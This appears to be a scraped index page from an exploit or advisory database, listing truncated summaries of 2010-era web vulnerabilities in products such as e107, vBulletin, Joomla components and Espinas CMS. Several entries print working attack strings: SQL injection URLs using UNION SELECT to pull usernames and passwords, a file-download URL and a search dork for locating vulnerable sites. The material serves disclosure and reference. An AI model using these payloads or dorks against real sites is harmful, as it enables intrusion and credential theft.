XT-Commerce v1 Beta 1 permission to bypass the Modify download backup vulnerability-vulnerability warning-the black bar safety net

Premiere: the Red section of the network security Author: Amxking Submitted to: indoushka Vulnerability program: XT-Commerce v1 Beta 1 Affected version: v1 Beta 1 Risk level: medium Vulnerability description: Amxking:the vulnerability is I and the foreign Avengers team communication time obtained...

Apache ActiveMQ Cross Site Scripting

Vulnerability Info: 26/04/2010 Issue Discovered 26/04/2010 Vendor Notified 27/04/2010 Vendor Conformed Class: Cross-Site Scripting Input validation Severity: Medium Overview: --------- Apache ActiveMQ is prone to cross-site scripting vulnerability. Technical Description: ---------------------- Th...

Microsoft SharePoint Server 2007 XSS Vulnerability

Exploit for windows platform in category web applications ================================================== Microsoft SharePoint Server 2007 XSS Vulnerability ================================================== Product: Microsoft SharePoint Server 2007 Vendor: Microsoft Corporation Vulnerable...

Solaris 10 (sparc) : 142436-08

SunOS 5.10: mail, sendmail and passwd patc. Date this patch was last updated by Sun : Jun/07/10 %NASLMINLEVEL 70300 @DEPRECATED@ This script has been deprecated as the associated patch is not currently a recommended security fix. Disabled on 2011/09/17. C Tenable Network Security, Inc. if !...

Vbulletin - Two-Step External Link XSS

Vendor: vBulletin Affected versions: 3.7.x - 3.8.x Mod: Two-Step External Link URL: http://www.vbulletin.org/forum/showthread.php?t=217708 Vulnerability type: XSS Risk rating: Medium Exploit http://FORUM/externalredirect.php?url=XSS Bug File: externalredirect.php line 35 Code: $url =...

e107 version 0.7.19 XSRF vulnerability

Exploit for php platform in category web applications ====================================== e107 version 0.7.19 XSRF vulnerability ====================================== Product: e107 Website System Vendor: e107 Vulnerable Version: 0.7.19 and Probably Prior Versions Vendor Notification: 05 April...

e107 CMS 0.7.19 - Cross-Site Request Forgery

Vulnerability ID: HTB22344 Reference: http://www.htbridge.ch/advisory/xsrfcsrfine107.html Product: e107 Website System Vendor: e107 Vulnerable Version: 0.7.19 and Probably Prior Versions Vendor Notification: 05 April 2010 Vulnerability Type: CSRF Cross-Site Request Forgery Status: Not Fixed, Vend...

e107 0.7.19 Cross Site Request Forgery

Vulnerability ID: HTB22344 Reference: http://www.htbridge.ch/advisory/xsrfcsrfine107.html Product: e107 Website System Vendor: e107 Vulnerable Version: 0.7.19 and Probably Prior Versions Vendor Notification: 05 April 2010 Vulnerability Type: CSRF Cross-Site Request Forgery Status: Not Fixed, Vend...

SSL/TLS: Cipher Settings

This plugin allows to overwrite the internal classification of SSL/TLS Ciphers used for the reporting of Strong, Medium and Weak Ciphers within the following VTs: - SSL/TLS: Report Non Weak Cipher Suites OID: 1.3.6.1.4.1.25623.1.0.103441 - SSL/TLS: Report Medium Cipher Suites OID:...

Vana CMS Remote File Download

Securitylab.ir Application Info: Name: Vana CMS Vendor: http://www.vanasoft.com Vulnerability Info: Type: Remote File Download Risk: Medium 2009-10-23 - Found Vulnerability 2010-04-09 - Vendor notified 2010-04-11 - Public disclosure Vulnerability: http://site.com/download.php?filename=File.php...

Espinas CMS SQL Injection Vulnerability

Exploit for asp platform in category web applications ======================================= Espinas CMS SQL Injection Vulnerability ======================================= Application Info: Name: Espinas CMS Vendor: http://espinas.ir Vulnerability Info: Type: Sql Injection Risk: Medium Dork:...

Espinas CMS - SQL Injection

Espinas CMS - SQL Injection Securitylab.ir Application Info: Name: Espinas CMS Vendor: http://espinas.ir Vulnerability Info: Type: Sql Injection Risk: Medium Dork: "Powered by Espinas IT" Vulnerability:...

Espinas CMS SQL Injection

Securitylab.ir Application Info: Name: Espinas CMS Vendor: http://espinas.ir Vulnerability Info: Type: Sql Injection Risk: Medium Dork: "Powered by Espinas IT" Vulnerability: http://site.ir/news.asp?id=-1+union+select+1,concatusername,0x3a,0x3a,password,3,4,5+from+sinabedusers Discoverd By: Pouya...

Espinas CMS - SQL Injection

Securitylab.ir Application Info: Name: Espinas CMS Vendor: http://espinas.ir Vulnerability Info: Type: Sql Injection Risk: Medium Dork: "Powered by Espinas IT" Vulnerability: http://site.ir/news.asp?id=-1+union+select+1,concatusername,0x3a,0x3a,password,3,4,5+from+sinabedusers...

McAfee Email Gateway (formerly IronMail) - Denial of Service

McAfee Email Gateway formerly IronMail - Denial of Service Advisory Name: Denial of Service in McAfee Email Gateway formerly IronMail Vulnerability Class: Denial of Service Release Date: Tue Apr 6, 2010 Affected Applications: Secure Mail Ironmail ver.6.7.1 Affected Platforms: FreeBSD 6.2 /...

Joomla Component com_xmap Sql Injection Vulnerability

Securitylab.ir Application Info: Name: Joomla Component comxmap Vulnerability Info: Type: Sql Injection Risk: Medium Vulnerability: http://site.com/index.php?option=comxmap&sitemap=2&Itemid=18-1 UNION SELECT 1,2,3,version,5,6,7,8-- Discoverd By: Pouya Daneshmand Website: http://Pouya.securitylab....

Joomla Component com_weblinks Sql Injection Vulnerability

Securitylab.ir Application Info: Name: Joomla Component comweblinks Vulnerability Info: Type: Sql Injection Risk: Medium Vulnerability: http://site.com/index.php?option=comweblinks&task=view&catid=8&id=-1 UNION SELECT 1,2,3,4,5 Discoverd By: Pouya Daneshmand Website: http://Pouya.securitylab.ir...

Joomla Weblinks SQL Injection

Securitylab.ir Application Info: Name: Joomla Component comweblinks Vulnerability Info: Type: Sql Injection Risk: Medium Vulnerability: http://site.com/index.php?option=comweblinks&task=view&catid=8&id=-1 UNION SELECT 1,2,3,4,5 Discoverd By: Pouya Daneshmand Website: http://Pouya.securitylab.ir...

Joomla Component com_xmap Sql Injection Vulnerability

No description provided by source. Securitylab.ir Application Info: Name: Joomla Component comxmap Vulnerability Info: Type: Sql Injection Risk: Medium Vulnerability: http://site.com/index.php?option=comxmap&sitemap=2&Itemid=18-1 UNION SELECT 1,2,3,version,5,6,7,8-- Discoverd By: Pouya Daneshmand...

Joomla Xmap SQL Injection

Securitylab.ir Application Info: Name: Joomla Component comxmap Vulnerability Info: Type: Sql Injection Risk: Medium Vulnerability: http://site.com/index.php?option=comxmap&sitemap=2&Itemid=18-1 UNION SELECT 1,2,3,version,5,6,7,8-- Discoverd By: Pouya Daneshmand Website: http://Pouya.securitylab....